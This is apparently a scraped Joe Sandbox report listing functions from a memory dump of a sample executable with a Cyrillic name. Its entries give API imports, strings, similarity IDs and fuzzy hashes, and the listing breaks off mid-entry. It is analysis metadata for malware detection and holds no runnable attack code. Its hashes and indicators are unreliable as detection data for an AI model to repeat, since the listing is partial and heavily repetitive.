Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_recordabort
String ID: csm
API String ID: 2466640111-1018135373
Opcode ID: 3b2257290adfa2781d5b09c2d1616d864f17ca53d9f431228db0fbfec44e584e
Instruction ID: 65beef816cf72d60ca186645a4bd94a4421b2baf4b6109a2f899db63d8aa3cbd
Opcode Fuzzy Hash: 3b2257290adfa2781d5b09c2d1616d864f17ca53d9f431228db0fbfec44e584e
Instruction Fuzzy Hash: EF516037A2874187DA24AB15E4402AE77A4FB88B90F202535DB8D87B56CF3ED451DB40

Function 00007FF6063B7874 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF6063B795A
WriteFile.KERNEL32 ref: 00007FF6063B798D
GetLastError.KERNEL32 ref: 00007FF6063B79AF

Strings

U, xrefs: 00007FF6063B7938

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: d20302cc878b90de32ea97a9ef5a303d772ca5a33c3583031ee23a301797e927
Instruction ID: 6eaaa4c3e12ff9b0bac75f565b8d22eff184027021ab96fe1bbeb53d21591ded
Opcode Fuzzy Hash: d20302cc878b90de32ea97a9ef5a303d772ca5a33c3583031ee23a301797e927
Instruction Fuzzy Hash: 2F41B322B29A4582EB248F65E8443BAB7A1FB88794F546031EF4EC7788DF3DD541C780

Function 00007FF60639CCEC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF60639CD15
GetObjectW.GDI32 ref: 00007FF60639CD43
ReleaseDC.USER32 ref: 00007FF60639CDF7

Strings

, xrefs: 00007FF60639CD8F

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ObjectRelease
String ID:
API String ID: 1429681911-3916222277
Opcode ID: 617a757d8815b9cd64aff0be7c79d33489404464c5a4c9318e7e7076e56f3154
Instruction ID: 83e67acfab24940dc50781b0ba45e5409975887fe8605c387e66b0087b3ea2ab
Opcode Fuzzy Hash: 617a757d8815b9cd64aff0be7c79d33489404464c5a4c9318e7e7076e56f3154
Instruction Fuzzy Hash: 2A317E3661874186DB08DF22B80872AB7A0FB88FD1F205139ED4E83B94DF7DD9498B40

Function 00007FF60639C21C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF60639C228
GetDeviceCaps.GDI32 ref: 00007FF60639C239
ReleaseDC.USER32 ref: 00007FF60639C246

Strings

, xrefs: 00007FF60639C24C

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: CapsDeviceRelease
String ID:
API String ID: 127614599-3916222277
Opcode ID: a4f30ad7dfa2e76a7ae327bbc05fad838edf44ef71ac395416f8be742774f962
Instruction ID: 8f8c91e03ec58067819f038dbae12dc7de42508454a5b133db888b5a54cbe29f
Opcode Fuzzy Hash: a4f30ad7dfa2e76a7ae327bbc05fad838edf44ef71ac395416f8be742774f962
Instruction Fuzzy Hash: 36E08C21B0864582EB4C57B6F58A02A2261AB8CBD0F256039DA0E83784ED3EC8854300

Function 00007FF606387644 Relevance: 6.3, APIs: 4, Instructions: 281COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606387915
FoldStringW.KERNEL32 ref: 00007FF60638795F
FoldStringW.KERNEL32 ref: 00007FF6063879B3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606387A22

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: FoldString_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2025052027-0
Opcode ID: c9fe3392ab09c49d1196f8df235d0463f4d9b61ecd1758375ad174dc9803bd61
Instruction ID: fbc8d544642922ab4d5e333d3cd4512126c2bc37b86f02d6d9513a85e64cfcbd
Opcode Fuzzy Hash: c9fe3392ab09c49d1196f8df235d0463f4d9b61ecd1758375ad174dc9803bd61
Instruction Fuzzy Hash: E8B1D322F2874685EE188B19D4445BD63B2FB44B94F74A131EA1DC77A0DFBEE490C380

Function 00007FF60638FCDC Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF60638FD90
SetLastError.KERNEL32 ref: 00007FF60638FE2B

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 1322f54df97993b4a5ad684f415525a173c6a5f006958d4a0014ba66ba559ceb
Instruction ID: 839a93d6ec6cc002e500342faa6b63ed8ce5329ea94e9d95c0278578018c455b
Opcode Fuzzy Hash: 1322f54df97993b4a5ad684f415525a173c6a5f006958d4a0014ba66ba559ceb
Instruction Fuzzy Hash: A551C472B14B4289FB089B74D4442EC2321EB84BD8F607236EA1CD37A6EE6DE545C380

Function 00007FF60639D908 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF60639D934
GetLastError.KERNEL32 ref: 00007FF60639D980
CreateDirectoryW.KERNEL32 ref: 00007FF60639DA88
LocalFree.KERNEL32 ref: 00007FF60639DA98

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: CreateCurrentDirectoryErrorFreeLastLocalProcess
String ID:
API String ID: 1077098981-0
Opcode ID: 02d44a4f672a4ff076bd7af01b23eac749c9e801f4074d58631ddee5945a2c64
Instruction ID: 2b7178b6a03099645e2dfae00256e21a1c206f1410f4affa503fc5937f44eeed
Opcode Fuzzy Hash: 02d44a4f672a4ff076bd7af01b23eac749c9e801f4074d58631ddee5945a2c64
Instruction Fuzzy Hash: AA518332A18B4286EB548F61E44476E73B4FF84B88F602035EA4E97B58DF3DD954CB90

Function 00007FF6063B106C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6063B10BF
WideCharToMultiByte.KERNEL32 ref: 00007FF6063B1191
GetLastError.KERNEL32 ref: 00007FF6063B11B4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6063B11E6

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: 8d9a5625d90a928a2b0668c470320c834cfc61c5ffddc2be44e89749fafbb7da
Instruction ID: 9b16c6e4ad54e5726da307605beca2b3508b6e7ea28db6db09cf76c8cea42331
Opcode Fuzzy Hash: 8d9a5625d90a928a2b0668c470320c834cfc61c5ffddc2be44e89749fafbb7da
Instruction Fuzzy Hash: 9E418431E18A4286FB6D9B11D460379A7A0EF90B90F387130DB5D86AD5DF3ED8418780

Function 00007FF6063B4008 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6063AF93B), ref: 00007FF6063B4021
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6063AF93B), ref: 00007FF6063B4083
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6063AF93B), ref: 00007FF6063B40BD
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6063AF93B), ref: 00007FF6063B40E7

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 6509991160e12f712ad6d4b27e048ebbd13574e2c5e48816f306a01bcccb75f3
Instruction ID: 36c381dcd0b102c8c9d28ef306850ec0317f91106e2b7e9e0da64ccd0e41cd5f
Opcode Fuzzy Hash: 6509991160e12f712ad6d4b27e048ebbd13574e2c5e48816f306a01bcccb75f3
Instruction Fuzzy Hash: 27216421F08F5585E6289F126440029F6E4FF54BD0B187134DF9EA7B9ADF3DE4528344

Function 00007FF6063B0950 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6063AB380,?,?,00000050,00007FF6063AD3C1), ref: 00007FF6063B095A
SetLastError.KERNEL32(?,?,?,00007FF6063AB380,?,?,00000050,00007FF6063AD3C1), ref: 00007FF6063B09C2
SetLastError.KERNEL32(?,?,?,00007FF6063AB380,?,?,00000050,00007FF6063AD3C1), ref: 00007FF6063B09D8
abort.LIBCMT ref: 00007FF6063B09DE

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: 1eac2c9eaf67b8ca3847dbe3d1f8f0efe6c7906f8c8004aecd08eca7f3519a74
Instruction ID: 9dfe0ae4bcd51b985a51ce9c41891d207f5dd7767f2024a7334e8e62f846846a
Opcode Fuzzy Hash: 1eac2c9eaf67b8ca3847dbe3d1f8f0efe6c7906f8c8004aecd08eca7f3519a74
Instruction Fuzzy Hash: AF015E10B0DE4646FA5C6731965523EA1919F44790F343638EB6FC27E6EF2EE8404290

Function 00007FF60639C1CC Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF60639C1D4
GetDeviceCaps.GDI32 ref: 00007FF60639C1EA
GetDeviceCaps.GDI32 ref: 00007FF60639C1FE
ReleaseDC.USER32 ref: 00007FF60639C20F

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: ff8273f54fae2fdeddf750fc197cbb143a8813763f49c02ea24deae08297ea60
Instruction ID: 907188e906dc8171a8570e26a4820ccf7afc69ac25d32fb669e016a588023340
Opcode Fuzzy Hash: ff8273f54fae2fdeddf750fc197cbb143a8813763f49c02ea24deae08297ea60
Instruction Fuzzy Hash: F8E01260E09706C2EF0C5BB1A81913512A0AF88B45F64603DC80EC63D0FE7FA8854B60

Function 00007FF6063B1704 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6063B1747

Strings

gfff, xrefs: 00007FF6063B1872
e+000, xrefs: 00007FF6063B17EF

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 180a713344d636e9f2ed807591016252dc9e7b78ba41607e6542638bc7fc855a
Instruction ID: f3b7c59731fa4d1711bd2392e093f3aa75c394090b548a3c6c101f9a4585e236
Opcode Fuzzy Hash: 180a713344d636e9f2ed807591016252dc9e7b78ba41607e6542638bc7fc855a
Instruction Fuzzy Hash: A3510662B18BC186E7298B35D9513696B92FB81B90F18B231C79CC7BD5CF6ED444C740

Function 00007FF606389808 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6063899A8: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6063899E6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638999C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063899A2

Strings

SIZE, xrefs: 00007FF606389843

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$swprintf
String ID: SIZE
API String ID: 449872665-3243624926
Opcode ID: 87bb56ca121dbe8459ff7cb6c827e9ac43c466e791526e995e40738a5dfd1e5c
Instruction ID: f6b2333ed03b81c01bae223064d5eed0141a95801973a19450465d46af4c6a6a
Opcode Fuzzy Hash: 87bb56ca121dbe8459ff7cb6c827e9ac43c466e791526e995e40738a5dfd1e5c
Instruction Fuzzy Hash: 0641E772A1878299EE18DF18E4413FD6350EF857A0F606231EA9DC26E6EF7ED540C780

Function 00007FF6063AF7A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6063AF7CA
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF6063A64A5), ref: 00007FF6063AF7EB

Strings

C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe, xrefs: 00007FF6063AF7D9

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe
API String ID: 3307058713-2271546086
Opcode ID: d741bd9ac7dff40685a7c943ead455491a0e4fb3fffc5812c1fd7ad0a856b466
Instruction ID: 8f98e343ea000d10008916581dfab14bd74fee32fbe9d8c7e531866a0be4d6f3
Opcode Fuzzy Hash: d741bd9ac7dff40685a7c943ead455491a0e4fb3fffc5812c1fd7ad0a856b466
Instruction Fuzzy Hash: B5419432A08A5686EB1DDF22E5400BDB794EF447C4B647039EA4EC7B95DF3EE8419380

Function 00007FF606389A38 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF606389AEA

Part of subcall function 00007FF606390688: WideCharToMultiByte.KERNEL32 ref: 00007FF6063906B9

Strings

@%s, xrefs: 00007FF606389ACE
$%s, xrefs: 00007FF606389AD7

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ByteCharMultiWide_snwprintf
String ID: $%s$@%s
API String ID: 2650857296-834177443
Opcode ID: 9a1500ef5950f5f5df7c550d69d7960993ad2cdd50597e18fe19dfb01623cb94
Instruction ID: cc8dced10d3122e730837849178378fa32fff343bc714f3ad75d3b0bf303658c
Opcode Fuzzy Hash: 9a1500ef5950f5f5df7c550d69d7960993ad2cdd50597e18fe19dfb01623cb94
Instruction Fuzzy Hash: 5031A572B18B4689EA188F69E4407F963A0FF44784F607032EE0D97BA5DE7EE505C780

Function 00007FF6063B2014 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6063B2086
GetFileType.KERNEL32 ref: 00007FF6063B209C

Strings

@, xrefs: 00007FF6063B20C7

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: cfc5635d5d47b790a45b886e407ba3a029ac6da1d5fa2ca2579a3853925e004a
Instruction ID: 15241c248c316b318f96047877dc9a7054da73d873289e933ecd49f424d8d835
Opcode Fuzzy Hash: cfc5635d5d47b790a45b886e407ba3a029ac6da1d5fa2ca2579a3853925e004a
Instruction Fuzzy Hash: 3721A922E08F4381EB688B2595A017A6651EB49774F353335D7AF477D4CE3ED981D380

Function 00007FF6063A7848 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6063A57EE), ref: 00007FF6063A788C
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6063A57EE), ref: 00007FF6063A78D2

Strings

csm, xrefs: 00007FF6063A78BF

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: f9cbc5942d5ed5241ddbc86705efc511784e5adb6a39813d68a5b78bd03bb5cb
Instruction ID: d6f4c2346f02747d6b24e97156a5d0a41a3da7b325e8db055070f10f5a19c611
Opcode Fuzzy Hash: f9cbc5942d5ed5241ddbc86705efc511784e5adb6a39813d68a5b78bd03bb5cb
Instruction Fuzzy Hash: 97115E36A18B8582EB288F15F480269B7B5FB88B88F685230EF8D47758DF3DD551CB40

Function 00007FF60638A83C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF60638A847
FindResourceW.KERNEL32 ref: 00007FF60638A85D

Strings

RTL, xrefs: 00007FF60638A853

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
